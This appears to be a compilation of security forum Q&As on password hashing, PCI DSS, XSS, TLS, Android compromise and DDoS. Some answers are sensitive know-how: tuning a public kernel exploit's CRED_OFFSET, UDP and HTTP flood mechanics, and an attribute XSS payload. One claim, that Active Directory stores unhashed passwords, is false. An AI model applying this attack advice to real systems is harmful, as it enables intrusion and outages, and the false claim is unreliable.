Are Windows password hashes salted with the user name? I'll readily admit I'm pretty clueless when it comes to cryptography, so there may already be some false assumptions in the question title itself :-)

Still, I "heard" that it is more secure to store the hashes of the username/password combinations than only the hashes of the passwords. (Salting?)

If so, are windows user passwords stored like this? (And if not, are they stored somehow differently that "only" the password hash?)

The file containing passwords in Windows clients is called the SAM file. All passwords stored locally in the SAM file (e.g. local accounts) are hashed with a salt.

Active Directory on the other hand will store passwords without a hash, but in a different file on the Domain Controller.  Domain account passwords are stored locally by default for users to be able to sign on when they cannot connect to a DC, and these passwords are hashed with a salt as well.

See here: Does Windows really still use unsalted MD4 for password storage?


Direct access to databases Some of the non-DBA workers like Developers (for crises handling), Fraud (with read permissions only) analysts (with read permissions only) and a few more that's needs direct access to databases to write their own queries. I cant reduce the permissions and they are approved by the management.  Every time they need a different query and I cant limit them to pre-built programmatic methods.

PCI DSS requirement 8.7.b stats "Only database administrators have the ability to directly access or query databases"

How can I still fulfill this requirement? Are their any relevant compensating controls you can suggest?

Some of the non DBA workers (DEV, Fraud, analysts ... ) in my organization need direct access to databases to write their own queries.

...

  PCI DSS requirement 8.7 stats "Only database administrators have the ability to directly access or query databases"

The usual way of handling this is to create a scrubbed version of the database, with PAN data and other sensitive data, removed or replaced.  This scrubbed database is then outside of PCI scope, and can be directly queried by the people you describe.

(The Fraud people may need access to PAN data for their jobs... but they don't get to use free-form queries for that, you write an application which provides access to the data in the real database they need through pre-formed queries).

For developers and analysts, the scrubbed version should be sufficient to their needs.

You may wish to also consider the question of PII.  Data science analysts need access to that level of detail; developers may not.  That's outside DSS requirements, however.

There are a couple of drawbacks to this method:

Depending on the size of the source database, scrubbing may be expensive in time and resources.
The table indexes, which derive from the cardinality of the data, will be altered when you remove or replace indexed columns (such as PAN), meaning that performance measurements against the "scrubbed" database will not be 1:1 equivalent to the "real" database.


Brute force a GUI login? I know I have read somewhere that the reason the UAC prompt in Windows 7 was employed is that viruses that would supposedly execute privileged instructions won't be able to "click" the confirm button when prompted with the UAC GUI prompt.

So if I created an application with a GUI login with a login button, will a virus/script be able to brute force it?

A script can simulate keystrokes/mouse clicks on Windows.  I believe the UAC prompt is protected by the OS making automating clicking it a more difficult task.  (I'm not a windows user; but its straightforward to simulate mouse clicks/movement in windows).  Apparently the UAC screen is run as the System user (a user with more permissions than an administrator, but not quite the kernel) so unless you were able to write and execute a script as the System user you would not be able to bypass the UAC clicks.

But in general, having a GUI login with a button doesn't make your login screen any more difficult to break.  Any reasonable attacker will examine how your program is checking the password, extract out the saved hash from memory and write some massively parallel GPU code to brute force it.  (Unless its done over the network and then they'd stop using your GUI and do the requests directly).  But even if somehow constrained to simulating keystrokes and mouse movements/clicks its still trivial to do.


How do I let users point to their own images, yet avoid Mixed Content warnings? I allow users of my webapp to provide a URL for their own images. They can also provide CSS which may contain URLs to images.

If these URLs are HTTP then the browser does not show the padlock in the URL bar.

What is the best practice for avoiding this?

Rewriting HTTP addresses as HTTPS, including URLs inside CSS? (Perhaps, after checking that the resource exists at the HTTPS address.)
Rejecting any URL that is not HTTPS?
Copying the image or CSS (with its referenced images) into my system? (This would mean, for better or worse, that the content would not change as the original does.)

Would rewriting HTTP addresses as HTTPS work?

Only if the webserver hosting the images accepts https as well as http.

I would say the solution is to grab the images, and host a copy yourself, which you serve to your clients. Take the URL (or parse the CSS for images), download a copy, and substitute.


Legit zix email vs phishing This morning I got a call from a user in a remote office who has received an email that purports to contain a "zix secure email" message. It directs him to a page http://zixmessagecenter.com/s/e which has a place for him to enter his google mail account and password in order to decrypt the email.

Really?!?

I did some research (here, among other places) and it seems that zix is a legit company providing secure email, but I have no way to distinguish between what are their real sites and what is phishing. And "zixmessagecenter.com" certainly isn't "zixcorp.com" so I'm not sure that this is really their web site, or some rogue domain that has the artwork of some legit zix pages downloaded and put into their page.

Also, some offhand remarks and links to some stuff from 2014 suggest that at some point google was integrating zix into google mail, so should he have simply seen a legit zix message in cleartext in his google mail?

So how do I tell if this is phishing or not?

These days it's simple to create a phake email claiming to be from zixcorp with buried links to third party websites that have malware payloads waiting to be accessed and deployed.  It's stunning to me that there are companies still using a supposedly secure message system that can be so easily compromised.

But I'm sad to report that it is.  My own bank is apparently sending out secure communications via ZixCorp in the form of a crude form letter with links that the user apparently has to click in order to receive the "secure message" from their bank.  Amazingly these emails don't even have a digital signature!

So, anyone who wants to get access to a huge treasure trove of usernames and passwords just has to craft a form letter email that claims to have secure messages for the reader with a bit fat button that ostensibly claims to be a link to zixcorp and spam it out to the world.  There ya go, job done.  Tsk tsk tsk and shame on any financial institution relying on such a flimsy service.


How to identify a specific operating system with port scans? According to the implementation of the TCP/IP stack an attacker is able to identify which operating system is running on a network device. Is there any paper or the like according on this topic?

There's also a Nessus Plugin for that. You can find more details here.

By the way, this technique is called OS Fingerprinting. You can find more details about it on this Wikipedia Page of course and in this SANS paper.


How do you adjust offest and kernel stack size from an exploit? Needless to I say I have no idea how to do this.
I'm performing a pentest and I found an exploit related the box : https://www.exploit-db.com/exploits/44298
In the exploit comments, the author said :

if different kernel adjust CRED offset + check kernel stack size

I see there is a variable for CRED : #define CRED_OFFSET 0x5f8 but I have no idea how to adjust it. Also, I don't see anywhere in the exploit code where I should adjust the kernel stack size.
My Kernel is 4.4.0-81-generic (Unbutu 16)
How does this get solved ?

CRED_OFFSET needs to be adjusted, so it's offset of cred member of struct task_struct. This can differ across kernel versions and compilation options that influence presence and size of other task_struct members.
Not sure what the quickest way to check this is. I'd get target kernel vmlinux and use gdb to get the offset.
Stack refers to get_sp, where it calculates stack pointer. This can again be different (I think on newer kernels stack can be independent of task_struct, so you can't just calculate it), but if kernel version is approximately the same, you'll probably get away leaving it as is.


PCI Compliance & Third Parties Let's say that company X is PCI certified and compliant as a merchant.
In terms of PCI compliance, what does company X have to consider while working with third parties? E.g. for business reasons company X needs to forward hashed PAN numbers to a third-party provider. What does company X have to do in order not to violate PCI compliance?

Although Conor is correct in his assessment of the entropy of payment cards and hashing, PCI DSS is very clear, that a hashed PAN in an environment where the PAN does not exist (e.g. the third party you have sent it to) is not considered cardholder data and does not require PCI DSS's protection. This is detailed in the PCI SSC FAQ number 1089 and for completeness here's the relevant quote:

  If the hashing result is transferred and stored within a separate environment, the hashed data in that separate environment would no longer be considered cardholder data and the system(s) storing the hashed data would be out of scope of PCI DSS.

The URL for the FAQ is https://pcissc.secure.force.com/faq/articles/Frequently_Asked_Question/Are-hashed-Primary-Account-Numbers-PAN-considered-cardholder-data-that-must-be-protected-in-accordance-with-PCI-DSS

Typically the third party will provide you with a salt to use, and if they don't then I’d think carefully about their security competence....


How CERT.rsa is interrelated with PackageInfo signatures I am a newbie in security and cryptography, but I  am developing Android applications and now wanna to dive deeper into the Android security mechanisms. I am trying to understand how CERT.rsa (as I know this public key from key pair) and signature returned by package manager are interconnected.

PackageInfo packageInfo = appContext.getPackageManager().getPackageInfo(appContext.getPackageName(), PackageManager.GET_SIGNATURES);
            Signature[] signatures = packageInfo.signatures;
            Log.d(TAG,"Signature" + signatures[0].toString());

In case of retrieving signature with package manager I get array of bytes with length > 700. In case of self signed debug key I get something like this

bytes[48, -126, 3, 13, 48, -126, 1, -11, -96, 3, 2, 1, 2, 2, 4, 102, -106, 43, -72, 48, 13, 6, 9, ...........

I have tried to extract and view information about public key CERT.rsa file from META-INF folder.
I used following command to get it.

openssl pkcs7 -in CERT
.RSA -print_certs -inform DER -out foo.cer

my foo.cert file contains following information

subject=/C=US/O=Android/CN=Android Debug
issuer=/C=US/O=Android/CN=Android Debug
-----BEGIN CERTIFICATE-----
MIIDDTCCAfWgAwIBAgIEZpYruDANBgkqhkiG9w0BAQsFADA3MQswCQYDVQQGEwJV
UzEQMA4GA1UEChMHQW5.......

Or in hexdecimal 30 82 01 0A 02 82 01 01 00 8A 24 24 1A F1 0B 5D 85 56 FE 35 17 50 90 5E F9 BF BA 2D 36 83 3C 0A 9A 56 4B 91 71 3A 48 E3 CB CE 25 73 76 C4 7F 1C 8B A7 5C F0 C3 52 6D E0 35 5A CC 10 C3 54 E5 DE 57 80 BF 6E

My primary question is: Where does the PackageManager get this signature info?

It is the last block of Hex from the following command:

openssl pkcs7 -inform DER -in CERT.RSA -noout -print_certs -text


How can I recover my exploited android phone? I have a Samsung S9 phone that has been exploited by my neighbor, however I am unsure as to how to prove/verify it, how in depth the access is to my phone, or how I can re-secure my phone.

It seems as though they have access to everything on my phone. They have also talked through the speaker of my phone to me a couple of times as though the phone had a call in progress on speakerphone however there was no indication of it on the phone.

They have also been able to follow where I go using my cell phone. I ruled out them tracking me through location data in a Google account by removing all Google accounts from my phone.

I scanned for viruses and malware and on the phone using Kaspersky Endpoint Security and discovered a malicious .apk that was detected as a trojan virus (HEUR.RiskTool). I’m assuming this not a false positive because there is absolutely no information available  anywhere online for it.

I first tried removing/quarantining it using Kaspersky Endpoint Security, however I received the following error(s):

  “File quarantine failed: file is in use or permission to delete file
  is missing”

  “Cannot delete file: file is in use or permission to delete file is
  missing”

I tried to delete the file manually, however the phone is not rooted so I did not have the required permissions to do so.

Then I tried rebooting the phone into safe mode and disabling the .apk through the applications list, however it was not present in the applications list.

I then tried to remove the .apk by factory resetting the phone, however the .apk still present after the factory reset. After that I thought it might be due to a custom rom being on my phone.

I attempted to flash the partitions on the phone back to factory defaults, however I was unable to do so since the phone was not rooted. I thought that possibly they were able to un-root my phone, install a custom rom on it, and then lock the phone back up, but I am unsure as to how to verify that. Is this at all possible?

I checked the current build number on my phone, and it appears to be the correct current build: R16NW.G960USQS3ARIB

Any information that would help me understand, backtrace, and/or remove this would greatly appreciated...

How did it get there if I do not have root access and did not download the malicious .apk directly, and the hacker had no physical access to my machine? Is it possible to have a virus installed to the phone via wifi or bluetooth without me ever having known it happened?
How can I back trace it where it came from?
How can I check the permissions of the malicious .apk to see what it has access to on my phone  if the .apk doesn’t show up in the applications list, even in safe mode?
How can I identify if a custom rom has been installed onto my phone allowing remote access to my phone?
Is it possible for the phone to have been rooted, and then locked back up after the apk/custom rom was installed to prevent me from removing it?
Is there any way to re-flash the partitions on the phone back to factory defaults to remove the malicious .apk even if I do not have root access? All of the methods I could find required root access to the phone in order to re-flash anything.

Check your CO detectors.
Jokes aside, I'd like to preface my answer with this: I find it highly unlikely that your neighbor is using remote exploits against you. The risk model doesn't support it. Unless you work for the government or are part of an international organization (legal or otherwise) no one is going to burn very valuable exploits on you. This is the sort of thing the CIA pulls. I don't believe you have been hacked.
Additionally, the virus scan report does not actually show anything amiss. CANID is a Verizon caller ID service and is not malicious as noted by the report. It "can" be used by attackers, however I've not been able to find any public reports of how this exploit works so I'm assuming it's either very old or just an incorrect flag in the database.
But to answer your question as asked:
Identifying the source
This is very unlikely in your situation as you don't actually have proof of comprise (and so have no where to start). Android does not log network traffic and so you don't have anyway to know where anything you may find came from.
Verifying OS authenticity
Barring exploits against the bootrom, the only way an attacker could have installed a different, patched firmware is through an unlocked bootloader. This status can be checked by rebooting your device to fastboot mode and running fastboot oem device-info with a connected machine. If the bootloader is unlocked, you can be attempt to relock the bootloader. If the device no longer boots/fails chain verification you can know that the firmware is inauthentic.
Additionally, since this is a Samsung device it has a KNOX e-fuse which is an additional indicator for tampering. This fuse, once tripped, is not generally resettable. The fuse is tripped by the bootloader if the bootloader has ever been unlocked. The fuse state can be checked by booting into download mode and pressing volume up.
Recovering
As noted above, I don't think you have been attacked. If you do, however, still believe something is wrong you can reflash the full system image using Odin. Note that this works no matter the bootloader state as these images pass cryptographic verification as they are signed by Samsung and are authentic.


Are antiviruses still useful? Are anti-viruses useful nowadays ?
Given the number of viruses that are developed and spread monthly, and given the fact anti-viruses are based on virus signatures, I wonder how much it is useful and effective to use an anti-virus ?

Yes, there are also near infinitely many possible vulnerabilities and exploits on your system, but applying system updates is still advisable.  Good security includes a concept called defense in depth.  The idea is that you do what you can with multiple tools in order to make it harder for an attacker to penetrate all your lines of defense.

The effectiveness of anti-virus software may not be as high as it once was, but it still protects you from a far larger set of threats than ever before.  It is foolish not to use AV software as a component of your defense.  Keeping current on virus definitions, good network security and patching your system regularly, as well as good password security and avoiding risky websites are all also important to keeping a system secure.

The more barriers you put up, the harder it is for an attacker, even if none of your defenses are 100% foolproof (which is really ALWAYS the case).


Is this input field and function secure? Im just learning about IT security, so this is basic stuff and Im maybe overthinking it.

1. I have this input field on my wordpress site (ssl is on) that directs the user to the product he typed in:

HTML

Button
<input id="searchterm"/>

JS

// Adds string to href
var link= document.getElementById('reflectedlink');
var input= document.getElementById('searchterm');
input.onchange=input.onkeyup= function() {
link.search= '?q='+encodeURIComponent(input.value);
};
// Fires button on enter keypress
$("#searchterm").on("keyup", function(e) {
if(e.keyCode == 13) {
$('#reflectedlink')[0].click();
}
});

It filters bad signs with encodeURIComponent() (so it should be fine if js is turned on?), however, if someone turns js off, can the input field be
used for any kind of XSS attack or similar stuff? Do I need to validate this field in my functions.php or is it fine since there is no data being sent to the database and wordpress maybe taking care of it anyway?

2. I learned that innerHTML should be avoided, so I have this function to sort products, it uses jQuerys html() method (which does basically the same?):

HTML

    <button id="alphBnt">Alphabetical</button>
    <button id="numBnt">Numerical</button>

B

10.35

A

100.05

D

200

C

5,510.25

JS

var $divs = $("div.box");
$('#alphBnt').on('click', function () {
var alphabeticallyOrderedDivs = $divs.sort(function (a, b) {
return $(a).find("h1").text() > $(b).find("h1").text();
});
$("#container").html(alphabeticallyOrderedDivs);
});
$('#numBnt').on('click', function () {
var numericallyOrderedDivs = $divs.sort(function (a, b) {
return $(a).find("h2").text() > $(b).find("h2").text();
});
$("#container").html(numericallyOrderedDivs);
});

Is it fine to use in this context and does this whole "avoid innerHTML / html()" refer to its use in combination with input fields / any user input?

FOR CLARIFICATION

Regarding the input field I am asking about this exact scenario, it is not used to store any data on the server, all it does is to change an href and I am validating the input to this field with encodeURIComponent().

I wanted to know if the following is correct:

If the client's js is on, the input gets validated, if not I don't have to validate the input since this input field is basically just that, an input field without interaction with the server or the client (aside from typing digits in it) and therefore can not be used for an attack (assuming the rest of the site / server is secure).

Thanks in advance for any help / hints.

"if someone turns js off, can the input field be used for any kind of XSS attack"?
no, you need JS to pull off XSS, but a server is still needed to stop other attacks like SQLI, malware links/downloads, and CSS phishing.
$(elm).html(str) is more dangerous than elm.innerHTML=str because it loads external scripts and eval()s any content in inline script tags, whereas innerHTML doesn't execute script tags. Both are susceptible to attribute-based attacks like onmouseover=alert(666) however, so sanitize all user-submitted content on a server before serving to other users.

EDIT: I should mention that you can safely use elm.innerText=str on arbitrary input, and it preserves some human-desired formatting and special chars, without any XSS risk. $(elm).text(str) does about the same thing, so it's also safe.


Is Google's Hangout using encrypted communication? I am trying to use Google's Hangout as alternative to WebEx for sharing screen. But not sure if it is safe.

Google Hangout uses SRTP (Link):

"All traffic back to the client from our conference servers will originate from the same port that the client is sending to, and be directed back to the port that the client is sending from.

The UDP traffic consists of STUN, RTP, and RTCP packets, with SRTP encrypted data payloads."

And check this for more info: Link


Is it safe to reuse a user's hashed password as his token in the email confirmation link? The user password is hashed with bycrypt. According to this answer:

  bcrypt is not an encryption function, it's a password hashing function, relying on Blowfish's key scheduling, not its encryption. Hashing are mathematical one-way functions, meaning there is no* way to reverse the output string to get the input string..

I'm not convinced it's safe. It just feels like a bad idea to expose the password hash, but I would like to avoid creating an unnecessary hash for the email confirmation and reuse the password one.

You're right. I wouldn't do that. While mathematically, there isn't a way to reverse a hashed password, you could continually guess passwords and see what the resulting hash is. Where there's a match, bingo.

These offline brute force attacks are even more dangerous than online brute force attacks, because the speed at which guesses can be made is many orders of magnitude faster.

If it's a simple password, it would be trivial to obtain a hash rainbow table (common passwords and pre-computed hashes). Given a hash and a rainbow table, a password could be founds in seconds.

It would be far better to generate a random, long sequence of characters that could just as easily be copied and pasted. All this link needs to do is verify an email in a reasonable amount of time. Better to keep secret things secret when given the choice.

You might also include a timeout, so that if a user puts in a dummy email, whoever owns that email doesn't "verify" it a week later. Then a user could correct this dummy email to a valid email and request another link. Any subsequent request could void the first link's ability to verify an email.

Also consider adding a link in the email for folks to click if "I didn't create this account." That will keep your records cleaner and provide a method to flag garbage accounts for subsequent deletion after a set period of time.


airodump-ng station not associated with bssid Why do some BSSIDs show as "not associated" (note: not all of them show as such; some just show a usual BSSID).
I have tried to use the other BSSID that shows up for the other station but it didn't work.

The second part of the listing is listing stations, a.k.a clients - computers and mobile phones that your chip captured either communicating with access points, or sending discovery beacons.

Your screenshot lists 4 clients, 4 of which are associated with ("connected to") XX:AC:D2:41:22:AC, which is the single access point you've been able to discover, while the last client (10:08:C1:2B:7E:XX) is not connected to anything at the moment - it either doesn't know the password for the access point, doesn't have enough signal to be able to connect to it or didn't connect to it for any other reason.

The last column, "probe", provides a hint as to why you were able to detect this station - while it isn't actively communicating with any AP, it was sending discovery beacons for a network called hXXXX, and your chip was able to capture that beacon.


Where is the most secure location to host an admin panel? I have an admin panel on my site, that enables me to control the content on my website. In order for the admin panel to achieve this, I must have a connection to the site's database.

I have two options for setting up my admin panel:

Have the admin panel running on WAMP on my local PC, and SSH to the database on my server
Host the admin panel on my server, meaning that I do not have to remotely SSH to my database

If I host it online, I can whitelist my IP to restrict access. If it's on my local PC, I will be the only person accessing it too. Hosting my admin panel on my server seems to be far more prone to attackers due to publicity; however I don't know for sure if that is true or not.

Which is more secure, and why?

That's the old dilemma Security vs Usability, and only you can answer this question.  Having the admin panel on your PC only is surely safer, but having it on the server means that you can access it even when you're not at home.  And that other people can, too; unless you whitelist the access IPs, which however will also prevent you from accessing it from everywhere.

We can't really decide this for you apart from suggesting to protect the panel with a strong password if you decide to host it on the server.


Why are Windows computers open to network file access by default? I'm on a work network, and I had some files I wanted to give to a colleague. I set up a shared folder and directed him to my computer name to open the shared folder. Then I remembered from a long time ago seeing C$, and tried I entering this:

\\COMPUTER-NAME\C$

Now, he got access to my computer. He could do everything on my file system, including adding files to the startup folder.

Why is this open for everybody by default? Why isn't this a feature one can enable on demand? It seems a good feature for the IT department, but after doing some research I found that the permission was in LOCAL-COMPUTER-NAME\Administrators (not in a separate group for the IT department). Does Microsoft just suppose most people doesn't know about this and leave it open by default? Or is it probably our IT department who set this up by mistake?

The C$ shares (and related $ADMIN,$IPC) are only available to members of the Administrators group.

These usually aren't a problem unless

The wrong people are made "Domain Administrators" in Active Directory
Two people are logged into their machine as "Administrator" with the same password.

According to the comments, you both log in as administrator, and because he was able to access your machine, the passwords must be the same... this is by design.

If you don't like this behaviour, then change your administrator password on both machines, and don't tell each other what that password is.  Additionally, you should create a separate account (non administrator) with a different username/password for all future work.

It is possible to disable the C$ share, but I wouldn't recommend it in a managed environment (with a decent network admin) since many administrative tools require this share to be present.  You can disable this in GPO or the registry.


Is TLS Server Finished signed by the server? I am exploring some non-orthogonal uses of TLS for research. I was wondering if it is correct to say that the TLS Server Finished is signed by the server.

I think it would be better summarized as:

  The the Finish message is encrypted with the session key.

or

  The Finish message, containing an HMAC over the handshake transcript, is encrypted with the session key.

As @dave_thompson points out in comments, this is essentially equivalent to signing the transcript (though the Finish message itself is not signed).

Here's my understanding of the TLS Finish message (@Steffen, @forest, @dave_thompson, feel free to correct my understanding).

TLS 1.2 (RFC 5246)

Section 7.4.9 Finished gives this:

  Meaning of this message:

  The Finished message is the first one protected with the just
        negotiated algorithms, keys, and secrets.  Recipients of Finished
        messages MUST verify that the contents are correct.  Once a side
        has sent its Finished message and received and validated the
        Finished message from its peer, it may begin to send and receive
        application data over the connection.

  Structure of this message:

 struct {
      opaque verify_data[verify_data_length];
  } Finished;

 verify_data
     PRF(master_secret, finished_label, Hash(handshake_messages))
        [0..verify_data_length-1];

 finished_label
     For Finished messages sent by the client, the string
     "client finished".  For Finished messages sent by the server,
     the string "server finished".

  Hash denotes a Hash of the handshake messages.
     ...

handshake_messages
     All of the data from all messages in this handshake (not
     including any HelloRequest messages) up to, but not including,
     this message.  This is only data visible at the handshake layer
     and does not include record layer headers.  This is the
     concatenation of all the Handshake structures as defined in
     Section 7.4, exchanged thus far.

My understanding is that that hash of all previous handshake messages is used as (part of) the seed for a pseudo-random function (PRF), which is used to generate 12 or more (depending on cipher suite) psuedo-random octets, which are then encrypted using the AES session key that was just agreed to in the handshake.

So I would say "the hash of the entire handshake, as seen by the server, is sent in the first encrypted message, and the other side must verify that it matches the hash of the entire handshake as seen by the client". (which I know is more of a mouthful than "server signs the Finish message", but what can you do).

TLS 1.3 (RFC 8446)

Section 4.4.4 is analogous to RFC 5246's Section 7.4.9 above, but it accounts for the 0-RTT mode, and they have changed the PRF to an HMAC using the negotiated key. The core idea is the same: the Finish message includes a hash of the entire handshake, and it is encrypted using the negotiated session key.


Strange Chrome notification on Android 8.0 I just got a notification in French (I live in a French speaking country):
Sincere congratulations, you won a Galaxy S8 phone.

The notification has the icon of Chrome  and is coming from news3.lapetinsatlame.men

When I clicked on it took me to https://mobile-fb.com....

I installed Malwarebytes and after a full scan it did not find anything.

Earlier in the morning I was checking some cartoons for my kids, and it could be because of that, because afterwards on my PC watching the same cartoons, Kaspersky complained and blocked a request from a malicious website:

Here is the log:

26.08.2018 17.44.56;Download blocked;https://pushtrust.com/notifications/push/cpm/3/videoplayer/index.html?subid_short=1fa18b71b7ca5918ca38f22ab52906ed&p1=https%3A%2F%2Fzme8o3l1c4.com%2Frmavev10%3Fkey%3Dd47d042b3c4d449dd309e5f3f7758d8e;not-a-virus:HEUR:AdWare.Script.Generic;https://pushtrust.com/notifications/push/cpm/3/videoplayer/index.html?subid_short=1fa18b71b7ca5918ca38f22ab52906ed&p1=https%3A%2F%2Fzme8o3l1c4.com%2Frmavev10%3Fkey%3Dd47d042b3c4d449dd309e5f3f7758d8e;Google Chrome;Adware;08/26/2018 17:44:56
26.08.2018 19.14.21;Task started;Web Anti-Virus;08/26/2018 19:14:21
26.08.2018 19.07.08;Task started;Web Anti-Virus;08/26/2018 19:07:08
26.08.2018 18.42.43;Task started;Web Anti-Virus;08/26/2018 18:42:43
26.08.2018 17.44.56;Object (file) detected;https://pushtrust.com/notifications/push/cpm/3/videoplayer/index.html?subid_short=1fa18b71b7ca5918ca38f22ab52906ed&p1=https%3A%2F%2Fzme8o3l1c4.com%2Frmavev10%3Fkey%3Dd47d042b3c4d449dd309e5f3f7758d8e;not-a-virus:HEUR:AdWare.Script.Generic;https://pushtrust.com/notifications/push/cpm/3/videoplayer/index.html?subid_short=1fa18b71b7ca5918ca38f22ab52906ed&p1=https%3A%2F%2Fzme8o3l1c4.com%2Frmavev10%3Fkey%3Dd47d042b3c4d449dd309e5f3f7758d8e;Google Chrome;Adware;08/26/2018 17:44:56

It could be something else though, the above logs are my only possible explanation...
Do I need to worry about my phone?

I'm making payments from the banking app, checking work email... I'd like to keep this phone as clean/secure as possible.

It's a Galaxy S7 and a few days ago I installed a new security patch (pushed by Samsung/Google), thus it has the 1 July Security Patch level.

If I got "infected", even a light "infection", how can I clean my phone?

Many thanks for your answers.

P.S. Obviously I regret visiting the cartoons website and will not allow my kids to watch cartoons on that website

My guess is that the website is using the HTML5 notification mechanism to send a notification (in this case ads) to the browser.  And you probably accepted that the site can send you notifications. See this support document on how to manage which site can send you notifications.


If a LUKS encrypted VM is put in saved state, will the master key be in clear on the host? Let's assume the host is not encrypted, and all files on it are accessible. A VM with LUKS encryption is saved, meaning its memory is now residing as a regular file on the host, does that memory also include the LUKS master key? In a recoverable format?

Yes, the memory image saved on the host will contain the LUKS master key, and if a knowledgeable person were to study the memory image, they could extract the key in a usable form.

Try resuming the VM.  Notice that it picks up where it left off, without asking for a disk encryption password.  Since the system can't read the disk without the key, either the key must have been in the memory image already, or the guest must have recovered the key from somewhere else (maybe the host?).

But typical VM snapshotting doesn't interact with the guest at all: since the host can capture the entire state of the guest, it's simplest and most reliable to just save that state, rather than trying to communicate with an unknown guest OS that may or may not be working properly at the time.  (One good use of virtual machines is debugging operating systems code.)

One easy alternative would be to let the guest make its own saved state.  Tell the guest VM to suspend to disk, and it will forget the key.  Then it will ask for the disk encryption password when it resumes.


How to extract TSA certificate from tst file? I have several timestamp token files that I think should have TSA certificates embedded within them because the "Request TSA certificate" option was selected when I requested them with TimeStampClient. Now I want to verify them with openssl with a command line like this:

openssl.exe ts -verify -data file.zip -in token.tst -token_in -CAfile certificate.cer

So I need the certificates.
BTW I think that for real verification I should not get the certificates from the token files themselves (because they can be fake/self signed?) if the files were from an untrusted party.

BTW can you please tell me a way to get the TSA timestamp certificate from its server via RFC 3161 protocol? Some servers like time.certum.pl does not provide a straightforward link to it at that web address.

An RFC3163 response does not necessarily contain the signing certificate itself. It contains a SignedData structure, which is described in RFC5652 thusly:

  SignedData ::= SEQUENCE {
    version CMSVersion,
    digestAlgorithms DigestAlgorithmIdentifiers,
    encapContentInfo EncapsulatedContentInfo,
    certificates [0] IMPLICIT CertificateSet OPTIONAL,
    crls [1] IMPLICIT RevocationInfoChoices OPTIONAL,
    signerInfos SignerInfos }

  DigestAlgorithmIdentifiers ::= SET OF DigestAlgorithmIdentifier

  SignerInfos ::= SET OF SignerInfo

The certificates field is optional, whereas the signerInfos field is not. A SignerInfo structure is defined as follows:

SignerInfo ::= SEQUENCE {
  version CMSVersion,
  sid SignerIdentifier,
  digestAlgorithm DigestAlgorithmIdentifier,
  signedAttrs [0] IMPLICIT SignedAttributes OPTIONAL,
  signatureAlgorithm SignatureAlgorithmIdentifier,
  signature SignatureValue,
  unsignedAttrs [1] IMPLICIT UnsignedAttributes OPTIONAL }

The sid field contains a unique identifier for the signer, which can be traced back to the certificate which signed it.

There is no standardised way to retrieve the certificate outside the certificates field of the SignedData structure. If it is not provided in that field, the TSA must provide it out of band. How exactly  that is done is up to the TSA.


Does Google read a device fingerprint? Does Google use a device fingerprint?

https://en.wikipedia.org/wiki/Device_fingerprint

Will Google websites ask Chrome produce a fingerprint? Will Chrome produce a fingerprint for any and all websites that request it? Will a free news website produce a fingerprint as a service to Google as part of its obligations as a client of Google?

Edit: The title was changed to replace the word "generate" with the word "read". This question relates to Google because Google has many "identities". An identity for the purpose of this question is a pairing of an well known identifier and a private attribute determined by scanning Gmail or determined by YouTube interests.

Sites don't generate fingerprints. They are artifacts created by the small differences between devices. Javascript code on the client can probe those small differences and create a list of factors, and that list can be unique. If multiple sites share this uniqueness table, no matter if you clear cookies, you will be identified.

For example, your browser. The combination of version, plugins installed, screen resolution, OS, available fonts and a couple other factors are more or less unique. Sites like https://amiunique.org/ and https://panopticlick.eff.org/ will show you how unique you are, and the information they used to detect how unique you are.

Nobody have to ask Google to generate it. Nor ask Chrome. Just toss a special Javascript on the page, and every browser will more or less generate a fingerprint, the difference is the amount of data the browser will give.


"Go" subdomains with empty redirect url? I've tested a lot of websites, and I've found that many sites have a "go.example.com" subdomain that returns the following error message:

404 Not Found
The redirect url is empty

This message makes me think that you can somehow add a header/parameter to make this website redirect to any other site. If that is so, that would be an open redirect, which is a valid vulnerability.

Do these "go." subdomains have a header/parameter that they will redirect to?

It really depends on the site. Good ones will have you pass an integer in i.e. go.example.com/1234/ which redirects to support.example.com or some such. An open redirect would accept something like go.example.com/badsite.com which would redirect to badsite.

But it is not so cut and dry, some redirect to a page that is passed in... hard to make a generalization here. The behavior I see most often is the passing an int, which checks a DB for where to redirect to.

No way to know but to test or ask the site owner.


VeraCode static code scan of django view reports "External control of Filename or Path" on render method Veracode is reporting a security issue on a piece of code which seems pretty innocuous to me. The code is built with python/Django and the line in question is:

  return render(request, 'core/create-user.html', context)

The render shortcut for django is pretty standard and it expects a request object, name of template and context to be passed to template. I am not sure  why Veracode is complaining for this.

It seems it is picking up the word "create-user" from the template name and assuming it be a OS/library method being called for creating a user based on some user input and which is why it is complaining but this sounds pretty dumb to me on behalf of Veracode.

Is it really a security issue, if so why? Or is it a false positive?

I don't see anything wrong with this implementation.
It is also completely according to documentation:
https://docs.djangoproject.com/en/3.0/topics/http/shortcuts/
It seems like this Veracode result is a False Positive


How to store client secret securely on application base in Windows? I would like to store valuable client data (ex. passwords, OAuth tokens) in a way that they will be accessible only from one application (separation on application base). The mechanism must be transparent for the user - additional password protection will be irritating.

Is there any way to achieve that in Windows?

(In Android case such separation is possible by assigning each application unique user ID and taking advantage of standard *nix mechanisms.)

I am aware of existence of Isolated Storage (http://msdn.microsoft.com/en-us/library/3ak841sy.aspx), but the documentation states clearly it is not recommended for storing valuable data:

  You should not use isolated storage in the following situations:

  To store high-value secrets, such as unencrypted keys or passwords, because isolated storage is not protected from highly trusted code, from unmanaged code, or from trusted users of the computer.

You should use DPAPI to encrypt the data before storing it in Isolated Storage. While DPAPI is mostly targeted at per-user security, not per-app, it does have some provisions for your scenario:

  A small drawback to using the logon password is that all applications
  running under the same user can access any protected data that they
  know about. Of course, because applications must store their own
  protected data, gaining access to the data could be somewhat difficult
  for other applications, but certainly not impossible. To counteract
  this, DPAPI allows an application to use an additional secret when
  protecting data. This additional secret is then required to unprotect
  the data.


Is port in UDP flood necessary? HTTP flood-down because? UDP, SYN and ICMP flood methods I have questions about DDoS attacks.

In flood scripts, the script sends UDP packets to "ip.address:random.port"

Why It doesn't use only the IP? Is port necessary?
If someone is HTTP flooding a website and make it down.

Is it because of HTTP server application is too busy to reply to the other packets? If not what is the reason?
Some people told me that if I would target a home router it would be better if I choosen UDP flood rather than SYN or ICMP flood as method.

Is it true? If it is true why?

1- In flood scripts, the script sends UDP packets to
  "ip.address:random.port"

  Why It doesn't use only the IP ? Is port necessary ?

UDP is a multiplexed protocol: it allows for multiple connections between two hosts.

Thus a UDP connection is defined by the tuple (src address, src port, dst address, dst port).

  2- If someone is HTTP flooding a website and make it down. Is it
  because of HTTP server application is too busy to reply the other
  packets ? If not what is the reason ?

It could be that the web server or app is using too many resources, for example if it was asked to perform an expensive operation.

